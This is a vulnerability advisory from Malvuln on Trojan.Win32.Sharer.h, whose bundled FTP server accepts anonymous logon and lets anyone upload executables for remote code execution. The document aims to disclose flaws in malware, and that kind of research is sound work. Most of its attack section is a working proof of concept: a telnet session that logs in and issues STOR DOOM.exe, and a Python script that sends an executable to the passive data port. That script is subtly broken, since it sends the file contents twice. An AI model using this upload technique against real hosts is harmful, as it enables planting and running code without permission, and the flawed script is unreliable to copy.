Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
TELNET x.x.x.x 21

220 ─πY╙╓└┤┴╦!!!                                                                                                            
USER anonymous                                                                                                          
331 Password required for anonymous                                                                                     
PASS malvuln                                                                                                            
230 User successfully logged in.                                                                                        
SYST                                                                                                                    
215 UNIX emulated by Pablo's FTP Server.                                                                                
PASV                                                                                                                    
227 Entering Passive Mode (192,168,88,128,202,32).                                                                      
STOR DOOM.exe                                                                                                           
150 Opening BINARY mode data connection for file transfer.                                                              
226 Transfer complete 


from socket import *

MALWARE_HOST="192.168.88.128"
PORT=51744                   #202*256+32
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
    print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
    print("By Malvuln");

if __name__=="__main__":
    doit()



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